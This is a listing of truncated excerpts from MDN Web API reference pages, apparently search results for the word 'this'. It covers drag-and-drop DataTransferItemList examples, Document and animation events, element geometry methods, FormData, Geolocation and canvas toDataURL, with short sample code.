this method must be called in the dragstart event handler.
... return value void example
this example shows how to use the setdragimage() method.
...function drop_handler(ev) { console.log("drop"); ev.preventdefault(); // get the data, which is the id of the drop target var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } </script> <body> <h1>example of <code>datatransfer.setdragimage()</code></h1> <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select
this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standardthe definition of 'setdragimage()' in that specification.
DataTransferItemList.DataTransferItem() - Web APIs
example
this example shows how to use drag and drop.
... javascript function dragstart_handler(ev) { console.log("dragstart"); // add
this element's id to the drag payload so the drop handler will // know which element to add to its tree var datalist = ev.datatransfer.items; datalist.add(ev.target.id, "text/plain"); // add some other items to the drag payload datalist.add("<p>...
... paragraph ...</p>", "text/html"); datalist.add("http://www.example.org","text/uri-list"); } function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = ev.datatransfer.items; // loop through the dropped items and log their data for (var i = 0; i < data.length; i++) { if ((data[i].kind == 'string') && (data[i].type.match('^text/plain'))) { //
this item is the target node data[i].getasstring(function (s){ ev.target.appendchild(document.getelementbyid(s)); }); } else if ((data[i].kind == 'string') && (data[i].type.match('^text/html'))) { // drag data item is html data[i].getasstring(function (s){ console.log("...
...dragover"); ev.preventdefault(); // set the dropeffect to move ev.datatransfer.dropeffect = "move" } function dragend_handler(ev) { console.log("dragend"); var datalist = ev.datatransfer.items; // clear any remaining drag data datalist.clear(); } html <div> <p id="source" ondragstart="dragstart_handler(event);" ondragend="dragend_handler(event);" draggable="true"> select
this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> css div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } result drag and drop demo link specifications ...
DataTransferItemList.add() - Web APIs
no type needs to be given in
this case.
... example
this example shows the use of the add() method.
... html <div> <p id="source" ondragstart="dragstart_handler(event);" ondragend="dragend_handler(event);" draggable="true"> select
this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> css div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } javascript function dragstart_handler(ev) { console.log("dragstart"); // add
this element's id to the drag payload so the drop handler will // know which element to add to its tree var datalist = ev.datatransfer.items; datalist.add(ev.target.id, "text/plain"); // add some other items to the drag payload datalist.a...
...paragraph ...</p>", "text/html"); datalist.add("http://www.example.org","text/uri-list"); } function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = event.datatransfer.items; // loop through the dropped items and log their data for (var i = 0; i < data.length; i++) { if ((data[i].kind == 'string') && (data[i].type.match('^text/plain'))) { //
this item is the target node data[i].getasstring(function (s){ ev.target.appendchild(document.getelementbyid(s)); }); } else if ((data[i].kind == 'string') && (data[i].type.match('^text/html'))) { // drag data item is html data[i].getasstring(function (s){ console.log("...
DataTransferItemList.length - Web APIs
example
this example shows the use of the length property.
... javascript function dragstart_handler(ev) { console.log("dragstart"); // add
this element's id to the drag payload so the drop handler will // know which element to add to its tree var datalist = ev.datatransfer.items; datalist.add(ev.target.id, "text/plain"); // add some other items to the drag payload datalist.add("<p>...
... paragraph ...</p>", "text/html"); datalist.add("http://www.example.org","text/uri-list"); } function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = ev.datatransfer.items; // loop through the dropped items and log their data for (var i = 0; i < data.length; i++) { if ((data[i].kind == 'string') && (data[i].type.match('^text/plain'))) { //
this item is the target node data[i].getasstring(function (s){ ev.target.appendchild(document.getelementbyid(s)); }); } else if ((data[i].kind == 'string') && (data[i].type.match('^text/html'))) { // drag data item is html data[i].getasstring(function (s){ console.log("...
...dragover"); ev.preventdefault(); // set the dropeffect to move ev.datatransfer.dropeffect = "move" } function dragend_handler(ev) { console.log("dragend"); var datalist = ev.datatransfer.items; // clear any remaining drag data datalist.clear(); } html <div> <p id="source" ondragstart="dragstart_handler(event);" ondragend="dragend_handler(event);" draggable="true"> select
this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> css div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } result drag and drop demo link specifications ...
DataTransferItemList.remove() - Web APIs
example
this example shows the use of the remove() method.
... javascript function dragstart_handler(ev) { console.log("dragstart"); // add
this element's id to the drag payload so the drop handler will // know which element to add to its tree var datalist = ev.datatransfer.items; datalist.add(ev.target.id, "text/plain"); // add some other items to the drag payload datalist.add("<p>...
... paragraph ...</p>", "text/html"); datalist.add("http://www.example.org","text/uri-list"); } function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = event.datatransfer.items; // loop through the dropped items and log their data for (var i = 0; i < data.length; i++) { if ((data[i].kind == 'string') && (data[i].type.match('^text/plain'))) { //
this item is the target node data[i].getasstring(function (s){ ev.target.appendchild(document.getelementbyid(s)); }); } else if ((data[i].kind == 'string') && (data[i].type.match('^text/html'))) { // drag data item is html data[i].getasstring(function (s){ console.log("...
...agend"); var datalist = ev.datatransfer.items; for (var i = 0; i < datalist.length; i++) { datalist.remove(i); } // clear any remaining drag data datalist.clear(); } html <h1>example uses of <code>datatransferitemlist</code> methods and property</h1> <div> <p id="source" ondragstart="dragstart_handler(event);" ondragend="dragend_handler(event);" draggable="true"> select
this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> css div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } specifications specific...
DedicatedWorkerGlobalScope.postMessage() - Web APIs
this accepts a single parameter, which is the data to send to the worker.
... syntax postmessage(amessage, transferlist); parameters amessage the object to deliver to the main thread;
this will be in the data field in the event delivered to the worker.onmessage handler.
...
this may be any value or javascript object handled by the structured clone algorithm, which includes cyclical references.
...inside the handler a calculation is done from which a result message is created;
this is then sent back to the main thread using postmessage(workerresult); onmessage = function(e) { console.log('message received from main script'); var workerresult = 'result: ' + (e.data[0] * e.data[1]); console.log('posting message back to main script'); postmessage(workerresult); } in the main script, onmessage would have to be called on a worker object, whereas inside the worker scrip...
DeprecationReportBody - Web APIs
this can be used to group reports by deprecated feature.
...if the date is not known,
this property will return null.
...
this typically matches the message a browser will display in its devtools console when a deprecated feature is used, if one is available.
...recation_report.html example, we create a simple reporting observer to observe usage of deprecated features on our web page: let options = { types: ['deprecation'], buffered: true } let observer = new reportingobserver(function(reports, observer) { reportbtn.onclick = () => displayreports(reports); }, options); we then tell it to start observing reports using reportingobserver.observe();
this tells the observer to start collecting reports in its report queue, and runs the callback function specified inside the constructor: observer.observe(); because of the event handler we set up inside the reportingobserver() constructor, we can now click the button to display the report details.
Document: animationend event - Web APIs
bubbles yes cancelable no interface animationevent event handler property onanimationend the original target for
this event is the element that had the animation applied.
... you can listen for
this event on the document interface to handle it in the capture or bubbling phases.
... for full details on
this event please see the page on htmlelement: animationend.
... examples
this example listens for the animationend event: document.addeventlistener('animationend', () => { console.log('animation ended'); }); the same, but using the onanimationend event handler property: document.onanimationend = () => { console.log('animation ended'); }; see a live example of
this event.
Document.createElement() - Web APIs
don't use qualified names (like "html:a") with
this method.
... examples basic example
this creates a new <div> and inserts it before the element with the id "div1".
...in
this case, our custom element extends the htmlulistelement, which represents the <ul> element.
... } } // define the new element customelements.define('expanding-list', expandinglist, { extends: "ul" }); if we wanted to create an instance of
this element programmatically, we'd use a call along the following lines: let expandinglist = document.createelement('ul', { is : 'expanding-list' }) the new element will be given an is attribute whose value is the custom element's tag name.
Document.documentURIObject - Web APIs
this only works for privileged (universalxpconnect) scripts, including extension code.
... for web content
this property doesn't have any special meaning and can be used just like any other custom property.
... privileged code must be careful not to try getting or setting
this property on a non-wrapped content object (e.g., on a wrappedjsobject of an xpcnativewrapper).
... syntax var uri = document.documenturiobject; example // check that the uri scheme of the current tab in firefox is 'http', // assuming
this code runs in context of browser.xul let uriobj = content.document.documenturiobject; let uriport = uriobj.port; if (uriobj.schemeis('http')) { ...
Document.enableStyleSheetsForSet() - Web APIs
all style sheets with a title that match
this name will be enabled, while all others that have a title will be disabled.
... calling
this method with a null name has no effect; if you want to disable all alternate and preferred style sheets, you must pass "", the empty string.
... stylesheets that don't have a title are never affected by
this method.
...
this method never affects the values of document.laststylesheetset or document.preferredstylesheetset.
Document.fullscreen - Web APIs
although
this property is read-only, it will not throw if it is modified (even in strict mode); the setter is a no-operation and it will be ignored.
... note: since
this property is deprecated, you can determine if full-screen mode is active on the document by checking to see if document.fullscreenelement is not null.
... example
this simple function reports whether or not full-screen mode is currently active, using the obsolete fullscreen property.
... function isdocumentinfullscreenmode() { return document.fullscreen; }
this next example, on the other hand, uses the current fullscreenelement property to determine the same thing: function isdocumentinfullscreenmode() { return document.fullscreenelement !== null; } if fullscreenelement isn't null,
this returns true, indicating that full-screen mode is in effect.
Document.getElementsByTagName() - Web APIs
the latest w3c specification says elements is an htmlcollection; however,
this method returns a nodelist in webkit browsers.
...
this demonstrates both document.getelementsbytagname() and the functionally identical element.getelementsbytagname(), which starts the search at a specific element within the dom tree.
... <!doctype html> <html lang="en"> <head> <meta charset="utf-8" /> <title>getelementsbytagname example</title> <script> function getallparaelems() { var allparas = document.getelementsbytagname('p'); var num = allparas.length; alert('there are ' + num + ' paragraph in
this document'); } function div1paraelems() { var div1 = document.getelementbyid('div1'); var div1paras = div1.getelementsbytagname('p'); var num = div1paras.length; alert('there are ' + num + ' paragraph in #div1'); } function div2paraelems() { var div2 = document.getelementbyid('div2'); var div2paras = div2.getelementsbytagname('p'); var nu...
...
this is undesirable when trying to match camelcase svg elements in a subtree in an html document.
Document.getElementsByTagNameNS() - Web APIs
note: while the w3c specification says elements is a nodelist,
this method returns a htmlcollection both in gecko and internet explorer.
... note: currently parameters in
this method are case-sensitive, but they were case-insensitive in firefox 3.5 and before.
... <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>getelementsbytagnamens example</title> <script type="text/javascript"> function getallparaelems() { var allparas = document.getelementsbytagnamens("http://www.w3.org/1999/xhtml", "p"); var num = allparas.length; alert("there are " + num + " <p> elements in
this document"); } function div1paraelems() { var div1 = document.getelementbyid("div1") var div1paras = div1.getelementsbytagnamens("http://www.w3.org/1999/xhtml", "p"); var num = div1paras.length; alert("there are " + num + " <p> elements in div1 element"); } function div2paraelems() { var div2 = document.getelementbyid("div2") var div2paras = div2.getelementsbytagnamens("htt...
...(to accommodate explorer, one could call an xpath wrapper instead of the xpath in the function below (as explorer supports xpath with a different api), such as
this wrapper class.) function getelementsbytagnamenswrapper (ns, elname, doc, context) { if (!doc) { doc = document; } if (!context) { context = doc; } var result = doc.evaluate('//*[local-name()="'+elname+'" and namespace-uri() = "'+ns+'"]', context, null, xpathresult.ordered_node_snapshot_type, null); var a = []; for(var i = 0; i < result.snapshotlength; i++) { ...
Document.open() - Web APIs
this does come with some side effects.
...
this is no longer the case.document non-spec'ed parameters to document.open gecko-specific notes starting with gecko 1.9,
this method is subject to the same same-origin policy as other properties, and does not work if doing so would change the document's origin.
...
this call, for example opens github.com in a new window, with its opener set to null: document.open('https://www.github.com','', 'noopener=true') two-argument document.open() browsers used to support a two-argument document.open(), with the following signature: document.open(type, replace) where type specified the mime type of the data you are writing (e.g.
...
this form is now obsolete; it won't throw an error, but instead just forwards to document.open() (i.e.
Document.popupNode - Web APIs
this will be the target of the mouse event that activated the popup.
...typically,
this property will be checked during a popupshowing event handler for a context menu to initialize the menu based on the context.
...
this property is only set for popups attached via the popup or context attributes.
...
this property applies only to xul documents.
Document.timeline - Web APIs
this timeline is a special instance of documenttimeline that is automatically created on page load.
...
this timeline is unique to each document and persists for the lifetime of the document including calls to document.open().
... the time values for
this timeline are calculated as a fixed offset from the global clock such that the zero time corresponds to the navigationstart moment plus a signed delta known as the origin time.
... syntax var pagetimeline = document.timeline; var
thismoment = pagetimeline.currenttime; value a documenttimeline object.
Document: transitioncancel event - Web APIs
bubbles yes cancelable no interface transitionevent event handler property globaleventhandlers.ontransitioncancel the original target for
this event is the element that had the transition applied.
... you can listen for
this event on the document interface to handle it in the capture or bubbling phases.
... for full details on
this event please see the page on htmlelement: transitioncancel.
... examples
this code adds a listener to the transitioncancel event: document.addeventlistener('transitioncancel', () => { console.log('transition canceled'); }); the same, but using the ontransitioncancel property instead of addeventlistener(): document.ontransitioncancel = () => { console.log('transition canceled'); }; see a live example of
this event.
Document: transitionend event - Web APIs
the original target for
this event is the element that had the transition applied.
... you can listen for
this event on the document interface to handle it in the capture or bubbling phases.
... for full details on
this event please see the page on htmlelement: transitionend.
... examples
this code adds a listener to the transitionend event: document.addeventlistener('transitionend', () => { console.log('transition ended'); }); the same, but using the ontransitionend property instead of addeventlistener(): document.ontransitionend = () => { console.log('transition ended'); }; see a live example of
this event.
Document: transitionrun event - Web APIs
bubbles yes cancelable no interface transitionevent event handler property ontransitionrun the original target for
this event is the element that had the transition applied.
... you can listen for
this event on the document interface to handle it in the capture or bubbling phases.
... for full details on
this event please see the page on htmlelement: transitionrun.
... examples
this code adds a listener to the transitionrun event: document.addeventlistener('transitionrun', () => { console.log('transition is running but hasn't necessarily started transitioning yet'); }); the same, but using the ontransitionrun property instead of addeventlistener(): document.ontransitionrun = () => { console.log('transition started running'); }; see a live example of
this event.
Document: transitionstart event - Web APIs
bubbles yes cancelable no interface transitionevent event handler property globaleventhandlers.ontransitionstart the original target for
this event is the element that had the transition applied.
... you can listen for
this event on the document interface to handle it in the capture or bubbling phases.
... for full details on
this event please see the page on htmlelement: transitionstart.
... examples
this code adds a listener to the transitionstart event: document.addeventlistener('transitionstart', () => { console.log('started transitioning'); }); the same, but using the ontransitionstart property instead of addeventlistener(): document.ontransitionrun = () => { console.log('started transitioning'); }; see a live example of
this event.
Document.xmlEncoding - Web APIs
obsolete since gecko 10.0 (firefox 10.0 / thunderbird 10.0 / seamonkey 2.7)
this feature is obsolete.
... warning: do not use
this attribute; it has been removed from the dom level 4 specification and is no longer supported in gecko 10.0 (firefox 10.0 / thunderbird 10.0 / seamonkey 2.7).
... however, firefox 3.0 includes information on endianness (e.g., utf-16be for big endian encoding), and while
this extra information is removed as of firefox 3.1b3, firefox 3.1b3 is still consulting the file's encoding, rather than the xml declaration as the spec defines it ("an attribute specifying, as part of the xml declaration, the encoding of
this document.").
... specification http://www.w3.org/tr/dom-level-3-cor...ment3-encoding
this has been removed from dom core level 4wd ...
DocumentFragment - Web APIs
properties
this interface has no specific properties, but inherits those of its parent, node, and implements those of the parentnode interface.
... methods
this interface inherits the methods of its parent, node, and implements those of the parentnode interface.
...doing
this moves the fragment's nodes into the dom, leaving behind an empty documentfragment.
...
this interface is also of great use with web components: <template> elements contain a documentfragment in their htmltemplateelement.content property.
EXT_disjoint_timer_query - Web APIs
availability:
this extension should be available in webgl1 contexts only.
... types
this extension exposes a new type: gluint64ext unsigned 64-bit integer number.
... constants
this extension exposes seven new constants.
... methods
this extension exposes eight new methods.
Element.getAnimations() - Web APIs
the getanimations() method of the element interface (specified on the animatable mixin) returns an array of all animation objects affecting
this element or which are scheduled to do so in future.
... note:
this array includes css animations, css transitions, and web animations.
...
this includes animations that target any css pseudo-elements attached to element or one of its descendents.
... return value an array of animation objects, each representing an animation currently targetting the element on which
this method is called, or one of its descendant elements if { subtree: true } is specified.
Element.getBoundingClientRect() - Web APIs
this means that the rectangle's boundary edges (top, right, bottom, left) change their values every time the scrolling position changes (because their values are relative to the viewport and not absolute).
...scripts without access to these properties can use code like
this: // for scrollx (((t = document.documentelement) || (t = document.body.parentnode)) && typeof t.scrollleft == 'number' ?
...t : document.body).scrolltop examples
this simple example retrieves the domrect object representing the bounding client rect of a simple <div> element, and prints out its properties below it.
...
this was not true with older versions which effectively returned domrectreadonly.
Element.getClientRects() - Web APIs
originally, microsoft intended
this method to return a textrectangle object for each line of text.
... html example 1:
this html creates three paragraphs with a <span> inside, each embedded in a <div> block.
...<div> <strong>original</strong> <p> <span>paragraph that spans multiple lines</span> </p> </div> <div> <strong>p's rect</strong> <p class="withclientrectsoverlay"> <span>paragraph that spans multiple lines</span> </p> </div> <div> <strong>span's rect</strong> <p> <span class="withclientrectsoverlay">paragraph that spans multiple lines</span> </p> </div> example 2:
this html creates three ordered lists.
...iv> <strong>original</strong> <ol> <li>item 1</li> <li>item 2</li> </ol> </div> <div> <strong>ol's rect</strong> <ol class="withclientrectsoverlay"> <li>item 1</li> <li>item 2</li> </ol> </div> <div> <strong>each li's rect</strong> <ol> <li class="withclientrectsoverlay">item 1</li> <li class="withclientrectsoverlay">item 2</li> </ol> </div> example 3:
this html creates two tables with captions.
Element.querySelector() - Web APIs
syntax element = baseelement.queryselector(selectors); parameters selectors a group of selectors to match the descendant elements of the element baseelement against;
this must be valid css syntax, or a syntaxerror exception will occur.
... the first element found which matches
this group of selectors is returned.
... find a specific element with specific values of an attribute in
this first example, the first <style> element which either has no type or has type "text/css" in the html document body is returned: var el = document.body.queryselector("style[type='text/css'], style:not([type])"); the entire hierarchy counts
this example demonstrates that the hierarchy of the entire document is considered when applying selectors, so that levels outside the specified baseelement ...
... html <div> <h5>original content</h5> <p> inside paragraph <span>inside span</span> inside paragraph </p> </div> <div> <h5>output</h5> <div id="output"></div> </div> javascript var baseelement = document.queryselector("p"); document.getelementbyid("output").innerhtml = (baseelement.queryselector("div span").innerhtml); result the result looks like
this: notice how the "div span" selector still successfully matches the <span> element, even though the baseelement's child nodes do not include the div element (it is still part of the specified selector).
Element.requestFullscreen() - Web APIs
check browser compatibility in fullscreen for specifics on when each browser made
this change.
... note:
this method must be called while responding to a user interaction or a device orientation change; otherwise it will fail.
... examples
this function toggles the first <video> element found in the document into and out of full-screen mode.
... you can see
this example in action or view or remix the code on glitch.
Comparison of Event Targets - Web APIs
this article should clarify the use of the target properties.
... there are five targets to consider: property defined in purpose event.target dom event interface the dom element on the lefthand side of the call that triggered
this event, eg: element.dispatchevent(event) event.currenttarget dom event interface the eventtarget whose eventlisteners are currently being processed.
... as the event capturing and bubbling occurs,
this value changes.
... event.explicitoriginaltarget event.webidl if the event was retargeted for some reason other than an anonymous boundary crossing,
this will be set to the target before the retargeting occurs.
Event.explicitOriginalTarget - Web APIs
(mozilla-specific) if the event was retargeted for some reason other than an anonymous boundary crossing,
this will be set to the target before the retargeting occurs.
... example
this property can be used with <command> to get the event details of the original object calling the command.
... function mycommand(ev) { alert(ev.explicitoriginaltarget.nodename); // returns 'menuitem' } <xul:command id="my-cmd-anaction" oncommand="mycommand(event);"/> <xul:menulist> <xul:menupopup> <xul:menuitem label="get my element name!" command="my-cmd-anaction"/> </xul:menupopup> </menulist> specifications
this is a mozilla-specific property.
... defined in /dom/public/idl/events/nsidomnsevent.idl
this event property is not defined in the w3.org dom level 2 events ...
File.fileName - Web APIs
non-standard
this feature is non-standard and is not on a standards track.
... obsolete since gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4)
this feature is obsolete.
...for security reasons the path is excluded from
this property.
...
this property is deprecated.
FileReaderSync.readAsBinaryString() - Web APIs
note:
this method is deprecated in favor of readasarraybuffer().
...
this interface is only available in workers as it enables synchronous i/o that could potentially block.
... exceptions the following exceptions can be raised by
this method: notfounderror is raised when the resource represented by the dom file or blob cannot be found, e.g.
... browser compatibility the compatibility table on
this page is generated from structured data.
FocusEvent - Web APIs
properties
this interface also inherits properties from its parent uievent, and indirectly from event.
... focusevent.relatedtarget is an eventtarget representing a secondary target for
this event.
... in some cases (such as when tabbing in or out a page),
this property may be set to null for security reasons.
... methods
this interface has no specific methods.
FormData.set() - Web APIs
note:
this method is available in web workers.
... syntax there are two versions of
this method: a two and a three parameter version: formdata.set(name, value); formdata.set(name, value, filename); parameters name the name of the field whose data is contained in value.
...
this can be a usvstring or blob (including subclasses such as file).
... example the following line creates an empty formdata object: var formdata = new formdata(); // currently empty you can set key/value pairs on
this using formdata.set: formdata.set('username', 'chris'); formdata.set('userpic', myfileinput.files[0], 'chris.jpg'); if the sent value is different than string or blob it will be automatically converted to string: formdata.set('name', 72); formdata.get('name'); // "72" specifications specification status comment xmlhttprequestthe definition of 'set()' in that specificat...
FormData - Web APIs
note:
this feature is available in web workers.
... formdata.entries() returns an iterator allowing to go through all key/value pairs contained in
this object.
... formdata.keys() returns an iterator allowing to go through all keys of the key/value pairs contained in
this object.
... formdata.values() returns an iterator allowing to go through all values contained in
this object.
GamepadEvent - Web APIs
no support 21 — 34prefixed prefixed implemented with the vendor prefix: webkitedge full support ≤18firefox full support 29 full support 29 no support 24 — 28disabled disabled from version 24 until version 28 (exclusive):
this feature is behind the dom.gamepad.enabled preference (needs to be set to true).
...esgamepadevent() constructorchrome full support 35edge full support 12firefox full support 29 full support 29 no support 24 — 28disabled disabled from version 24 until version 28 (exclusive):
this feature is behind the dom.gamepad.enabled preference (needs to be set to true).
... no support 21 — 34prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 29 full support 29 no support 24 — 28disabled disabled from version 24 until version 28 (exclusive):
this feature is behind the dom.gamepad.enabled preference (needs to be set to true).
...vendor prefix: webkitsafari ios full support 10.3samsung internet android full support yeslegend full support full support no support no supportuser must explicitly enable
this feature.user must explicitly enable
this feature.requires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
Geolocation API - Web APIs
the geolocation api is accessed via a call to navigator.geolocation;
this will cause the user's browser to ask them for permission to access their location data.
... if they accept, then the browser will use the best available functionality on the device to access
this information (for example, gps).
... the developer can now access
this location information in a couple of different ways: geolocation.getcurrentposition(): retrieves the device's current location.
... interfaces geolocation the main class of
this api — contains methods to retrieve the user's current position, watch for changes in their position, and clear a previously-set watch.
GlobalEventHandlers.onanimationcancel - Web APIs
this can happen, for example, when the animation-name is changed such that the animation is removed, or when the animating node is hidden—either directly or because any of its containing nodes are hidden—using css.
...we'll use
this to show information about the events we receive.
...in browsers that support animationcancel, the event is fired and
this handler is called.
... result assembled together, you get
this: if your browser supports animationcancel, hiding the box using the button will cause a message to be displayed about the event.
GlobalEventHandlers.onanimationiteration - Web APIs
much of
this code is the same as in other examples of animation events, so it may look familiar.
... var box = document.getelementbyid("box"); var iterationcounter = 0; box.onanimationiteration = function(event) { box.style.animationplaystate = "paused"; document.getelementbyid("play").innerhtml = "start iteration #" + (iterationcounter+1); };
this sets up two global variables: box, which references the "box" element that we're animating, and iterationcounter, which is initially zero, which indicates how many iterations of the animation have occurred.
... finally, we set up a handler for a click on the button that runs the animation: document.getelementbyid("play").addeventlistener("click", function(event) { box.style.animationplaystate = "running"; iterationcounter++; }, false);
this sets the box element's animation-play-state to "running" and increments the iteration counter.
... result assembled together, you get
this: each time the box reaches the opposing corner, it stops, with the button reflecting which iteration number is up next, until you click the button to run the next iteration.
GlobalEventHandlers.onanimationstart - Web APIs
this event is sent when a css animation starts to play.
...we'll use
this to show information about the events we receive.
...on(event) { log("animation started", event); } box.onanimationend = function(event) { log("animation stopped", event); }; finally, we set up a handler for a click on the button that runs the animation: document.getelementbyid("play").addeventlistener("click", function(event) { document.getelementbyid("box").classname = "slideanimation"; event.target.style.display = "none"; }, false);
this sets the class of the box we want to animate to the class that contains the animation description, then hides the play button because
this example will only run the animation once.
... result assembled together, you get
this: specification specification status comment css animationsthe definition of 'onanimationstart' in that specification.
GlobalEventHandlers.ontransitioncancel - Web APIs
example in
this example, we use the transitionrun and transitionend events to detect when the transition begins and ends, to cause a text update to occur during the transition.
...
this could also be used to trigger animations or other effects, to allow chaining of reactions.
... html
this simply creates a <div> which we'll style with css below to make into a box that resizes and changes color and such.
....ontransitionend = function(event) { box.innerhtml = "done!"; } box.onclick = function() { box.style.display = 'none'; timeout = window.settimeout(appear, 2000); function appear() { box.style.display = 'block'; } } box.ontransitioncancel = function(event) { console.log('transitioncancel fired after ' + event.elapsedtime + ' seconds.'); } result the resulting content looks like
this: notice what happens when you hover your mouse cursor over the box, then move it away.
HTMLCanvasElement.toDataURL() - Web APIs
if
this argument is anything else, the default value for image quality is used.
... examples given
this <canvas> element: <canvas id="canvas" width="5" height="5"></canvas> you can get a data-url of the canvas with the following lines: var canvas = document.getelementbyid('canvas'); var dataurl = canvas.todataurl(); console.log(dataurl); // "data:image/png;base64,ivborw0kggoaaaansuheugaaaauaaaafcayaaacnby // blaaaadeleqvqimwngobmaaabpaafei8araaaaaelftksuqmcc" setting image quality with jpegs var fullquality = canvas.todataurl('image/jpeg', 1.0); //...
... data:image/jpeg;base64,/9j/4aaqskzjrgabaq...9oadambaairaxeapwd/ad/6ap/z" var mediumquality = canvas.todataurl('image/jpeg', 0.5); var lowquality = canvas.todataurl('image/jpeg', 0.1); example: dynamically change images you can use
this technique in coordination with mouse events in order to dynamically change images (gray-scale vs.
... color in
this example): html <img class="grayscale" src="mypicture.png" alt="description of my picture" /> javascript window.addeventlistener('load', removecolors); function showcolorimg() {
this.style.display = 'none';
this.nextsibling.style.display = 'inline'; } function showgrayimg() {
this.previoussibling.style.display = 'inline';
this.style.display = 'none'; } function removecolors() { var aimages = document.getelementsbyclassname('grayscale'), nimgslen = aimages.length, ocanvas = document.createelement('canvas'), octx = ocanvas.getcontext('2d'); for (var nwidth, nheight, oimgdata, ograyimg, npixel, apix, npixlen, nimgid = 0; nimgid < nimgslen; nimgid++) { ocolorimg = aimages[nimgid]; nwidth = ocolorimg.offsetwidth; nheight = ocolorimg.off...
HTMLContentElement - Web APIs
properties
this interface inherits the properties of htmlelement.
... methods
this interface inherits the methods of htmlelement.
... htmlcontentelement.getdistributednodes() returns a static nodelist of the distributed nodes associated with
this <content> element.
... specifications
this feature is no longer defined by any standards.
HTMLElement.hidden - Web APIs
this is quite different from using the css property display to control the visibility of an element.
... javascript document.getelementbyid("okbutton") .addeventlistener("click", function() { document.getelementbyid("welcome").hidden = true; document.getelementbyid("awesome").hidden = false; }, false);
this code sets up a handler for the welcome panel's "ok" button that hides the welcome panel and makes the follow-up panel—with the curious name "awesome"—visible in its place.
... the welcome panel <div id="welcome" class="panel"> <h1>welcome to foobar.com!</h1> <p>by clicking "ok" you agree to be awesome every day!</p> <button class="button" id="okbutton">ok</button> </div>
this html creates a panel (in a <div> block) that welcomes the user to a site and tells them what they're agreeing to by clicking the ok button.
...the follow-up panel looks like
this in html: <div id="awesome" class="panel" hidden> <h1>thanks!</h1> <p>thank you <strong>so</strong> much for agreeing to be awesome today!
HTMLElement.offsetTop - Web APIs
working draft browser compatibility the compatibility table on
this page is generated from structured data.
... 4opera android full support 10.1safari ios full support 1samsung internet android full support 1.0legend full support full support in compliance with the specification,
this property will return null on webkit if the element is hidden (the style.display of
this element or any ancestor is "none") or if the style.position of the element itself is set to "fixed".
...
this property will return null on internet explorer (9) if the style.position of the element itself is set to "fixed".
... (having display:none does not affect
this browser.) ...
HTMLElement - Web APIs
some elements directly implement
this interface, while others implement it via an interface that inherits it.
... htmlelement.offsetleft read only returns a double, the distance from
this element's left border to its offsetparent's left border.
... htmlelement.offsettop read only returns a double, the distance from
this element's top border to its offsetparent's top border.
... events listen to these events using addeventlistener() or by assigning an event listener to the oneventname property of
this interface.
HTMLFormElement.elements - Web APIs
this is a live collection; if form controls are added to or removed from the form,
this collection will update to reflect the change.
...
this is called tree order.
... example quick syntax example in
this example, we see how to obtain the list of form controls as well as how to access its members by index and by name or id.
... <form id="my-form"> <input type="text" name="username"> <input type="text" name="full-name"> <input type="password" name="password"> </form> var inputs = document.getelementbyid("my-form").elements; var inputbyindex = inputs[0]; var inputbyname = inputs["username"]; accessing form controls
this example gets the form's element list, then iterates over the list, looking for <input> elements of type "text" so that some form of processing can be performed on them.
HTMLIFrameElement.allowPaymentRequest - Web APIs
living standard browser compatibility the compatibility table on
this page is generated from structured data.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetallowpaymentrequest experimentalchrome full support 60disabled full support 60disabled disabled from version 60:
this feature is behind the #web-payments preference (needs to be set to enabled).
... webview android no support nochrome android full support 61disabled full support 61disabled disabled from version 61:
this feature is behind the #web-payments preference (needs to be set to enabled).
...expect behavior to change in the future.user must explicitly enable
this feature.user must explicitly enable
this feature.
HTMLIFrameElement.referrerPolicy - Web APIs
no-referrer-when-downgrade (default)
this is the user agent's default behavior if no policy is specified.
...
this policy will leak origins and paths from tls-protected resources to insecure origins.
... carefully consider the impact of
this setting.
... living standard browser compatibility the compatibility table on
this page is generated from structured data.
HTMLImageElement.complete - Web APIs
while ideally
this command wouldn't even be executed if the image hasn't fully loaded, for improved reliability you want to check to ensure
this is the case.
...
this is demonstrated in the code below.
...*/ function fixredeyecommand() { if (lightboxelem.style.display === "block" && lightboximgelem.complete) { fixredeye(lightboximgelem); } else { /* can't start doing
this until the image is fully loaded */ } } specifications specification status comment html living standardthe definition of 'htmlimageelement.complete' in that specification.
... unknown browser compatibility the compatibility table on
this page is generated from structured data.
HTMLImageElement.useMap - Web APIs
in other words,
this string should be the value of the appropriate <map>'s name attribute with a pound or hash symbol prepended to it.
... consider a <map> that looks like
this: <map name="mainmenu-map"> <area shape="circle" coords="25, 25, 75, 75" href="/index.html" alt="return to home page"> <area shape="rect" coords="25, 25, 100, 150" href="/index.html" alt="shop"> </map> given the image map named mainmenu-map, the image which uses it should look something like the following: <img src="menubox.png" usemap="#mainmenu-map"> for additional examples (including interactive ones), see the articles about the <map> and <area> elements, as well as the guide to using image maps.
... example the source for
this interactive example is stored in a github repository.
... living standard browser compatibility the compatibility table on
this page is generated from structured data.
